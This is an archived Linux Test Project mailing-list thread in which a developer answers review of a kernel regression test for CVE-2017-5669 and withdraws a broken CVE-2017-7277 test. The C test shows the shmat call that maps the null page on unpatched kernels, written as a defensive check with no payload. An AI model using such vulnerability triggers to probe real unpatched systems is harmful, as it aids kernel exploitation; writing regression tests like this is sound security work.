>>  cve-2016-7117 cve-2016-7117
>> +cve-2017-5669 cve-2017-5669
>> +cve-2017-6951 cve-2017-6951
>
> Here you are adding test out of order again...

Sorry, I probably did this while sorting them by CVE number.

>
>> diff --git a/runtest/syscalls b/runtest/syscalls
>> index e72ed0166..0f3c45ada 100644
>> --- a/runtest/syscalls
>> +++ b/runtest/syscalls
>> @@ -1164,6 +1164,7 @@ setxattr03 setxattr03
>>  shmat01 shmat01
>>  shmat02 shmat02
>>  shmat03 shmat03
>> +cve-2017-5669 cve-2017-5669
>>  
>>  shmctl01 shmctl01
>>  shmctl02 shmctl02
>> diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
>> index ff5844263..715cbab38 100644
>> --- a/testcases/cve/.gitignore
>> +++ b/testcases/cve/.gitignore
>> @@ -2,3 +2,4 @@ cve-2012-0957
>>  cve-2014-0196
>>  cve-2016-4997
>>  cve-2016-7117
>> +cve-2017-5669
>> diff --git a/testcases/cve/cve-2017-5669.c b/testcases/cve/cve-2017-5669.c
>> new file mode 100644
>> index 000000000..a2ad7f8e3
>> --- /dev/null
>> +++ b/testcases/cve/cve-2017-5669.c
>> @@ -0,0 +1,90 @@
>> +/*
>> + * Copyright (c) 2017 Richard Palethorpe <rpalethorpe@suse.com>
>> + *
>> + * This program is free software: you can redistribute it and/or modify
>> + * it under the terms of the GNU General Public License as published by
>> + * the Free Software Foundation, either version 2 of the License, or
>> + * (at your option) any later version.
>> + *
>> + * This program is distributed in the hope that it will be useful,
>> + * but WITHOUT ANY WARRANTY; without even the implied warranty of
>> + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
>> + * GNU General Public License for more details.
>> + *
>> + * You should have received a copy of the GNU General Public License
>> + * along with this program. If not, see <http://www.gnu.org/licenses/>.
>> + */
>> +/*
>> + * Test for CVE-2017-5669 which allows us to map the nil page using shmat.
>> + *
>> + * When the bug is present shmat(..., (void *)1, SHM_RND) will round address
>> + * 0x1 down to zero and give us the (nil/null) page. With the current bug fix
>> + * in place, shmat it will return EINVAL instead. We also check to see if the
>> + * returned address is outside the nil page in case an alternative fix has
>> + * been applied.
>> + *
>> + * In any case we manage to map some memory we also try to write to it. This
>> + * is just to see if we get an access error or some other unexpected behaviour.
>> + *
>> + * See commit 95e91b831f (ipc/shm: Fix shmat mmap nil-page protection)
>> + */
>> +#include <sys/types.h>
>> +#include <sys/ipc.h>
>> +#include <sys/shm.h>
>> +
>> +#include <stdio.h>
>> +#include <errno.h>
>> +#include <string.h>
>> +
>> +#include "tst_test.h"
>> +
>> +static int shm_id;
>> +static void *shm_addr;
>> +
>> +static void cleanup(void)
>> +{
>> +	if (shm_addr && shmdt(shm_addr) == -1)
>> +		tst_res(TWARN | TERRNO, "shmdt(shm_addr) == -1");
>> +	shm_addr = 0;
>> +
>> +	if (shm_id && shmctl(shm_id, IPC_RMID, 0) == -1)
>> +		tst_res(TWARN | TERRNO, "shmctl(shm_id) == -1");
>> +	shm_id = 0;
>> +}
>> +
>> +static void run(void)
>> +{
>> +	shm_id = shmget(IPC_PRIVATE, getpagesize(), 0777);
>> +	if (shm_id == -1)
>> +		tst_brk(TBROK | TERRNO,
>> +			"shmget(shm_key, PAGE_SIZE, IPC_CREATE | 0777) = -1");
>> +
>> +	tst_res(TINFO, "Attempting to attach shared memory to null page");
>> +	shm_addr = shmat(shm_id, ((void *)1), SHM_RND);
>> +	if (shm_addr == (void *)-1) {
>> +		if (errno == EINVAL) {
>> +			tst_res(TPASS, "shmat returned EINVAL");
>> +			shm_addr = 0;
>> +			return;
>> +		}
>> +		tst_brk(TBROK | TERRNO,
>> +			"The bug was not triggered, but the shmat error is unexpected");
>> +	}
>> +
>> +	tst_res(TINFO, "Mapped shared memory to %p", shm_addr);
>> +
>> +	if (!((size_t)shm_addr & (~0U << 16)))
>> +		tst_res(TFAIL,
>> +			"We have mapped a VM address within the first 64Kb");
>> +	else
>> +		tst_res(TPASS,
>> +			"The kernel assigned a different VM address");
>> +
>> +	((char *)shm_addr)[0] = 'P';
>> +}
>> +
>> +static struct tst_test test = {
>> +	.tid = "cve-2017-5669",
>> +	.cleanup = cleanup,
>> +	.test_all = run,
>> +};
>
> There is a patch that adds sysv shm related function as safe macros on
> ML. I will merge it probably next week. Can you please make use of these
> macros in this test as well?

Yes, I will be away for three weeks anyway. So I can do that when I get
back.

-- 
Thank you,
Richard.

^ permalink raw reply	[flat|nested] 19+ messages in thread

* [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS
  2017-05-22 12:13 ` [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
@ 2017-06-20 11:22   ` Richard Palethorpe
  0 siblings, 0 replies; 19+ messages in thread
From: Richard Palethorpe @ 2017-06-20 11:22 UTC (permalink / raw)
  To: ltp


Hi,

This test appears to be broken and is also too complicated. I may take
another look at it soon, but for the time being it should probably just
be removed from the patch set.

--
Thank you,
Richard.

^ permalink raw reply	[flat|nested] 19+ messages in thread

end of thread, other threads:[~2017-06-20 11:22 UTC | newest]

Thread overview: 19+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2017-05-22 12:13 [LTP] [PATCH v2 00/10] CVE Tests Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 01/10] Add fuzzy synchronisation library for triggering races Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 02/10] Test for vulnerability CVE-2016-7117 in recvmmsg error return path Richard Palethorpe
2017-05-26 14:51   ` Cyril Hrubis
2017-05-22 12:13 ` [LTP] [PATCH v2 03/10] Test for CVE-2016-4997 on setsockopt Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 04/10] Test for uname26 exploit CVE-2012-0957 Richard Palethorpe
2017-05-26 19:20   ` Cyril Hrubis
2017-05-22 12:13 ` [LTP] [PATCH v2 05/10] Add CVE .gitignore, Makefile and runtest files Richard Palethorpe
2017-05-26 19:33   ` Cyril Hrubis
2017-05-29  8:44     ` Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 06/10] Test for CVE-2014-0196 PTY echo race Richard Palethorpe
2017-05-26 19:41   ` Cyril Hrubis
2017-05-22 12:13 ` [LTP] [PATCH v2 07/10] Test for CVE-2017-5669 in shmat Richard Palethorpe
2017-05-26 19:56   ` Cyril Hrubis
2017-05-29  8:56     ` Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 08/10] Test for CVE-2017-6951 in request_key Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 09/10] Test for CVE-2017-7277 SOF_TIMESTAMPING_OPT_STATS Richard Palethorpe
2017-06-20 11:22   ` Richard Palethorpe
2017-05-22 12:13 ` [LTP] [PATCH v2 10/10] Test for CVE-2017-2671 on ping sockets Richard Palethorpe

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.